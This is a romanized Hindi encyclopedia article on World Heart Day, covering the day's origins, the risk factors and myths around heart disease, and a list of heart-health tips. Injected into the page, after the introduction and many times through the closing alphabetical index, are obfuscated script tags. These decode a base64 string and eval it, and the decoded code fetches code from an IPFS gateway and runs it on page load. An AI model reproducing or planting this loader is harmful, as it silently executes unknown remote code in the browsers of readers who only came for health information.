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vishv hriday divas
vivaran 'vishv hriday divas' sare vishv mean manaya jata hai. dil se ju di bimariyoan tatha use svasthy rakhane ke sambandh mean hi is divas ko manaya jata hai.
tithi 29 sitambar
shuruat varsh 2000 se
uddeshy hriday rog poore vishv mean aj ek ganbhir samasya haian. har sal 'vishv hriday divas' ke madhyam se poore vishv ke logoan mean isake bare mean jagarookata phailaee jati hai.
hriday rog ke karan nishkriy jivan shaili, atyadhik tanav, haiparateanshan, madhumeh, adhik dhoomrapan, motapa, vasayukt bhojan. aise logoan ko adhik khatara hota hai, jinaka kolestrol, traeeglisaraid aur vieladiel, eladiel adhik hota hai.
any janakari hriday ke sath hone vali chhe dachha d ka hi natija hai ki aj vishv bhar mean hriday rogiyoan ki sankhya badh gee hai. ek anuman ke anusar, bharat mean 10.2 karo d log is bimari ki chapet mean haian.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vishv hriday divas (aangrezi: World Heart Day) pratyek varsh '29 sitambar' ko manaya jata hai. avyavasthit jivan shaili aur asantulit khanapan ke chalate duniya bhar mean hriday rog ke pi ditoan ki sankhya tezise badhi hai. bhagati-dau dati jiandagi mean logoan ko apane svasthy ki or dhyan dene ka mauka nahian milata, jisaka unhean bhari khamiyaja chukana p data hai. hriday rog visheshajnoan ke anusar dil ki bimari kisi bhi umr mean kisi ko bhi ho sakati hai, isake lie koee nirdharit umr nahian hoti. mahilaoan mean hriday rog ki sanbhavanaean jyada hoti haian, bavajood isake ve is bimari ke jokhimoan ko najaraandazakar deti haian. aj ki bhagadau d bhari jiandagi mean ek dil hi hai, jis par sabase adhik bojh p data hai. tanav, thakan, pradooshan adi kee vajahoan se rakt ka adan-pradan karane vale is ati mahatvapoorn aang ko apana kam karane mean mushkil hoti hai, isilie 'vishv hriday divas' logoan mean yah bhavana jagrit karata hai ki ve hriday ki bimariyoan ke prati sachet rahean.

shuruat

duniya bhar mean har sal hone vali 29 pratishat mautoan ki ek pramukh vajah hriday ki bimariyaan aur hridayaghat haian. hriday ki bimariyoan aur dil ke daure se har sal 1.71 karo d se jyada logoan ki maut ho jati hai. am logoan ko in bimariyoan v dil ke svasthy ka khas khyal rakhane ke prati jagaruk karane ke makasad se varsh 2000 mean 'vishv hriday divas' manane ki shuruat ki gee. ab tak sitambar ke aantim ravivar ko 'vishv hriday divas' manaya jata raha tha, lekin 2014 se ise 29 sitambar ke din hi manaya jaega. 'vishv svasthy sangathan' (dablyooecho) ki bhagidari se svayansevi sangathan 'varld hart phedareshan' har sal 'vishv hriday divas' manata hai.[1] badhate hriday rogoan ki sankhya aur pi ditoan ki vajah se hi sanyukt rashtr ne sal 2000 se har sal 29 sitanbar ko 'vishv hriday divas' ke roop mean manane ka nirnay liya. sal 2009 aur 2010 mean sanyukt rashtr ne 'vishv hriday divas' ki thim 'aauphis mean hriday svasth' thi aur is sal isaki thim hai 'van varld, van hom, van hart' yani 'ek sansar, ek ghar aur ek dil', jisake dvara sanyukt rashtr har vyakti ko apane hriday ke prati jagarook banana chahata hai.[2]

uddeshy

hriday rog poore vishv mean aj ek ganbhir bimari ke taur par ubhara hai. har sal 'vishv hriday divas' ke madhyam se poore vishv ke logoan mean isake bare mean jagarookata phailaee jati hai. apane desh mean to ab kam umr ke log bhi is bimari ke shikar ho rahe haian. is bimari ki sabase b di vajahoan mean se ek hai 'tanav'. tanav hriday ka sabase b da dushman hai. aj ki bhagadau d vali jivan shaili mean logoan mean tanav kuchh jyada hi badh gaya hai. isalie is bimari se poori tarah bachana to mushkil hai, lekin jahaan tak sanbhav ho, isase doori banae rakhani chahie.

tanav ke samay avashyakata hoti hai ki ham apane hriday ki avaj sunean, hriday ko durust rakhane ke lie tanav door bhagaean. tanav ke karan mastishk se jo rasayan sravit hote haian, ve hriday ki poori pranali kharab kar dete haian. tanav se ubarane ke lie yog ka bhi sahara liya ja sakata hai. hriday hamare sharir ka aisa aang hai, jo lagatar panp karata hai aur poore sharir mean rakt pravah ko sanchalit karata hai. hriday sanchar pranali ke madhy mean hota hai aur dhamaniyoan aur nasoan jaisi rakt vahiniyaan ashuddh rakt ko sharir ke har bhag se hriday tak le jati haian aur shuddh rakt ko hriday se sharir ke har bhag tak pahuanchati haian.

hriday ke rog

aj yuvaoan mean hridayaghat aur hriday ki bimariyoan ki badhati sankhya chianta ka vishay ban rahi haian. pahale jahaan 30 se 40 varsh tak ke bich hriday ki samasyaean aanki jati thian, aj yah 20 varsh se kam umr ke logoan mean bhi hone lagi haian. aise mean hriday ki samasyaoan se bachane ka ek hi upay hai ki ap khud apani kuchh samany jaanch karean aur hriday sanbandhi samany samasyaoan ko bhi ganbhirata se lean. hriday ke sath hone vali chhe dachha d ka hi natija hai ki aj vishv bhar mean kee tarah ke hriday rog dekhane ko mil rahe haian. ek anuman ke anusar bharat mean 10.2 karo d log dil ke marij haian. poori duniya mean 1.73 karo d log har varsh is bimari ke shikar hokar mar jate haian. yadi halatoan par kaboo nahian kiya gaya to 2020 tak har tisare vyakti ki maut hriday rog se hogi. mana jata hai ki uchch rakt chap 'madhumeh (daibitij) ka sahi niyantran n karane evan gussa ya chianta adhik karane vale logoan ko jald hridayaghat hone ki ashanka hoti hai. isalie isase bachav ke lie kafi kuchh parahej rakhane ki jarurat hai.

sath hi ajakal ham apana adhikatar samay aauphis mean bitate haian, jahaan adhik sharirik kary karane ki jagah adhikatar log sirph baithakar apana kam karate haian. is sthiti mean sharir nishkriy jivan shaili ka adi ban jata hai. aj ke yuva aauphis mean to baithe-baithe k aaufi pite haian aur phir ghar par bhi rat ko der tak tivi dekhakar subah der se jagate haian. phir subah aauphis pahuanchane ki bhagamabhag mean vyayam nam ki bala se pala hi nahian p data. aise mean hriday rogoan ki sambhavana badh jati hai.

hridayaghat ki sambhavana

"umr badhane ke sath dil ka daura bhi p data hai...", ham yahi manakar chalate haian. lekin yah sach nahian hai. sabhi boodhoan ko dil ka daura nahian p data. darasal, dil ke daure ki nianv bachapan mean hi p d jati hai. yah samasya saloan tak chupachap aandar hi aandar kam karati rahati hai aur ek din dil ke daure mean tabdil ho jati hai. dil ki sehat se ju de kuchh tathyoan ko ham jan lean to adhi l daee jit jate haian. bas, isake lie apani jivan shaili mean kuchh parivartan karana zaroori hote haian. sach to yah hai ki hamare desh mean dil ke dauroan ke lie khanapan ki galat adatean aur asvasthyakar jivan shaili mukhy roop se jimmedar hai. jankaphood bhi jimmedar hai. 'sarkuleshan' jarnal mean chhapi ek riport ke mutabiq jo log apane bhojan mean atyadhik vasa, namak, aande aur maans khate haian, unhean doosaroan ke mukabale dil ka daura b dane ka jokhim 35 pratishat adhik hota hai. isaki tulana mean jo log 60 gram sabut anaj se bana hua daliya khate haian, unhean yah jokhim kam hota hai.

rogiyoan ki sankhya

hriday ke sath hone vali chhe dachha d ka hi natija hai ki aj vishv bhar mean hriday rogiyoan ki sankhya badh gee hai. ek anuman ke anusar, bharat mean 10.2 karo d log is bimari ki chapet mean haian. poori duniya mean har sal 1.73 karo d logoan ki maut is bimari ki vajah se ho jati hai aur yadi halatoan par kaboo nahian kiya gaya to 2020 tak har tisare vyakti ki maut hriday rog se hogi.

logoan mean vyapt mithak

in sabake atirikt ajakal hriday rog se ju de aise kee mithak bhi samane a rahe haian, jo poori tarah bebuniyad hone ke bavajood adhikaansh logoan ke dimag mean ghar kie rahate haian. ye galat-sahi janakariyaan hamean kahian se bhi mil sakati haian, lekin in par vishvas karana hamare hriday ke lie hanikarak ho sakata hai. hriday visheshajnoan ka kahana hai ki unhean hriday rogiyoan ka upachar karate samay unhean rogiyoan ke aise kee mithakoan ko bhi door karana p data hai. kuchh mithak to bahut am hote haian. jaise- logoan mean yah am dharana hoti hai ki har tarah ka vyayam hriday ke lie labhakari hota hai. isi tarah adhikaansh log yah sochate haian ki mahilaoan mean dil ki bimari ka khatara kam hota hai. is tarah ki anek aisi dharanaean haian, jo bahut se logoan mean ghar kar gee haian. in mithakoan ko to dakar sahi tathy spasht karane matr se rogiyoan ke hriday ko lanbe samay tak svasth rakha ja sakata hai.[3]

purushoan ko halki pareshani hote hi ve chikitsak ke pas chale jate haian, lekin sahanashakti adhik hone ke karan mahilaean halki-phulki pareshani yooan hi jhel jati haian. visheshajn batate haian ki kee bar to chikitsak ke pas jane par kaiansar tak ki jaanch likh di jati hai, lekin dil ki jaanch nahian karavaee jati. dilli ke maiks aspatal mean hriday rog visheshajn ke.ke. talavar anusar, "mahilaoan mean estrojan harmon ke rahane se ve kuchh had tak isase sanrakshit to rahati haian, lekin dhumrapan, asvasthyakar bhojan karane ki adat aur garbhanirodhak davaean lene ke karan unamean bhi dil ki bimari ka khatara kafi hota hai. menopaj ke bad to yah khatara aur badh jata hai."

isake alava aise dheroan mithak haian, jinhean samaj ke mastishk se door kie jane ki zaroorat hai, jaise- yuvaoan ko dil ki bimari nahian ho sakati ya jab sine ke baeean or dard ho tabhi dil ki bimari ki ashanka vyakt ki jati hai. hriday rog visheshajn batate haian ki dil ki bimari hone par dahini baanh, oopari pe doo ya amataur par baeean baanh mean bhi dard ho sakata hai. adhikaansh vijnapanoan mean kuchh vishesh tarah ke khady teloan ko hriday ke lie achchha bataya jata hai, lekin vastav mean yah poori tarah sach nahian hota. hriday rog visheshajnoan ka manana hai ki kee bar sahi aur galat janakari mean bahut mamooli aantar hota hai, isalie savadhan rahane ki zaroorat hai.[4]

hriday ki sehat

aj hamare jivan ka adhe se bhi jyada samay hamare karyasthal aur aauphis mean bitata hai. aise mean hamean is bat ka khyal rakhana chahie ki apani karyapranali ke anuroop hriday ki sehat kaise durust rahe. hriday ko svasthy rakhane ke lie nimn batoan ko apanana chahie[5]-

  1. pratyek vyakti ko tho da samay vyayam ke lie nikalana chahie.
  2. pratidin kam se kam adhe ghante tak vyayam karana hriday ke lie achchha hota hai.
  3. yadi samay ki kami hai to ap tez qadamoan se tahal bhi sakate haian.
  4. sehat ke anuroop hi khan-pan tatha ahar lena chahie.
  5. namak ki kam matra ka sevan karean.
  6. bhojan mean kam vasa vale ahar grahan karana chahie.
  7. taji sabjiyaan aur phal adhik matra mean lean.
  8. apani pratidin ki dinacharya mean samay par nashta aur samay par lanch karean.
  9. tambakoo jaise padarthoan se hamesha doori banaean rakhean.
  10. ghantoan ek hi sthiti mean baithana hriday ke lie hanikarak ho sakata hai.
  11. aj ki bhagadau d vali jivan shaili mean tanav bhi badh gaya hai. isase poori tarah bachana to mushkil hai, lekin jahaan tak sanbhav ho isase doori banae rakhani chahie.
  12. saikil chalana, niyamit roop se tahalana aur tairana, ye kam avashy karane chahie.
  13. rojana 30 minat yog aur dhyan karane ki prakriya ko apanana chahie.
  14. dhoomrapan bilkul bhi nahian karean, yah dil ke lie bahut hi khataranak hai.
  15. aise khady tel ka chayan karean, jisamean shoony traans phaiti esids hoan.
  16. niand dil ko svasth rakhane ke lie zaroori hai. rojana 7 ghante ki niand lean.
  17. kaiphin ki matra kam karean aur kali ya hari chay piyean.
  18. garmiyoan mean pratidin ath se das gilas pani zaroor piyean.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ vishv hriday divas aj, dhuean mean n u daean dil (hindi) h aaut t aaupiks. abhigaman tithi: 29 sitambar, 2014.
  2. ↑ vishv hriday divas 2011 : ek sansar, ek ghar aur ek dil (hindi) jagaran jankshan. abhigaman tithi: 29 sitambar, 2014.
  3. ↑ vishv hriday divas- kaise rakhean dil ka khayal (hindi) veb duniya. abhigaman tithi: 29 sitambar, 2014.
  4. ↑ durust dil ke lie bhramoan se door rahean (hindi) pardaphash tude. abhigaman tithi: 29 sitambar, 2014.
  5. ↑ vishv hriday divas, sunean dil ki avaj bhi (hindi) iandirapuram. abhigaman tithi: 29 sitambar, 2014.

bahari k diyaan

sanbandhit lekh

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   